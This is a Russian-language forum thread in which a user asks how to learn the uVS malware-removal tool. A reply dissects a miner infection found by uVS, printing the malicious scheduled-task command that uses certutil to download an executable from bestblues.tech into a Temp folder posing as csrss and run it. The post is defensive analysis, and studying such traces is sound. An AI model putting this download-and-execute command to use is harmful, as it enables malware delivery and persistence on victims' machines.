uVS как стать опытными пользователем этой программы. , Обучение пользования программой uVS

RSS
Добрый день. Недавно столкнулся с одним сильным вирусом майнером, который блокировал установку антивируса Nod32. Благодаря теме на форуме в разделе:установка антивируса, мне помогли решить эту проблему с помощью программы uVS, скидывая скрипты и инструкции пошаговоые. Хотелось бы самому разобраться в этой программе и как ней пользоваться, подробнее прочитать что делает каждый ее раздел. Буду рад любому ответу по поводу этой программы!) Всем добра)

Ответы

Вредоносный сайт\ресурс который антивирус ESET определяет, как: " Обнаружена атака путем подделки записей кэша ARP "
Как это выглядит в UVS.

Код
HTTPS://BESTBLUES.TECH/APP/APP.EXE
C:\USERS\RAMZES\APPDATA\LOCAL\TEMP\CSRSS\SCHEDULED.EXE


Программа показывает два объекта.
Первый это ссылка на исполняемый файл. ( что само по себе подозрительно :)
Второй путь до  директории: APPDATA с нелепой маскировкой под системный C:\Windows\System32\csrss.exe
и не менее "интеллектуальной"  маскировкой SCHEDULED.EXE   SCHEDULED.EXE планировщик...
------------
В развёрнутом виде это:

Код
Полное имя                  HTTPS://BESTBLUES.TECH/APP/APP.EXE
Имя файла                   HTTPS://BESTBLUES.TECH/APP/APP.EXE
Тек. статус                   ПОДОЗРИТЕЛЬНЫЙ 
               
Сохраненная информация      на момент создания образа
Статус                      
                            
Доп. информация             на момент обновления списка
Файл                        C:\WINDOWS\SYSTEM32\CMD.EXE
                            
Ссылки на объект            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\Actions
Actions                     "cmd.exe" /C certutil.exe -urlcache -split -f https://bestblues.tech/app/app.exe C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe /31340
                            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\


+

Код
Полное имя                  C:\USERS\RAMZES\APPDATA\LOCAL\TEMP\CSRSS\SCHEDULED.EXE
Имя файла                   SCHEDULED.EXE
Тек. статус                  ПОДОЗРИТЕЛЬНЫЙ 
                                                       
Сохраненная информация      на момент создания образа
Статус                      ПОДОЗРИТЕЛЬНЫЙ 
Инф. о файле                Не удается найти указанный файл. 
Цифр. подпись               проверка не производилась
                            
Статус                      ПОДОЗРИТЕЛЬНЫЙ ОБЪЕКТ
Путь до файла               Типичен для вирусов и троянов
                            
Доп. информация             на момент обновления списка
Файл                        C:\WINDOWS\SYSTEM32\CMD.EXE
                            
Ссылки на объект            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\Actions
Actions                     "cmd.exe" /C certutil.exe -urlcache -split -f https://bestblues.tech/app/app.exe C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe /31340
Actions                     "cmd.exe" /C certutil.exe -urlcache -split -f https://bestblues.tech/app/app.exe C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe /31340
                            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\


Подозрительные моменты: Temp; AppData; TaskCache; Csrss и т.д.
Из интересного задействован системный: C:\WINDOWS\SYSTEM32\CERTUTIL.EXE
*Certutil.exe — это программа командной строки, которая устанавливается как часть служб сертификации.
Проверка ссылки на V.T.: https://www.virustotal.com/gui/url/1940aabfdff63a8fe9d94861b32d35c59daf14b164622ddc­86511a0e4e00248a/detection
пп7в.jpg (92.27 КБ)
Изменено: RP55 RP55 - 30.01.2021 11:58:43
Читают тему (гостей: 1)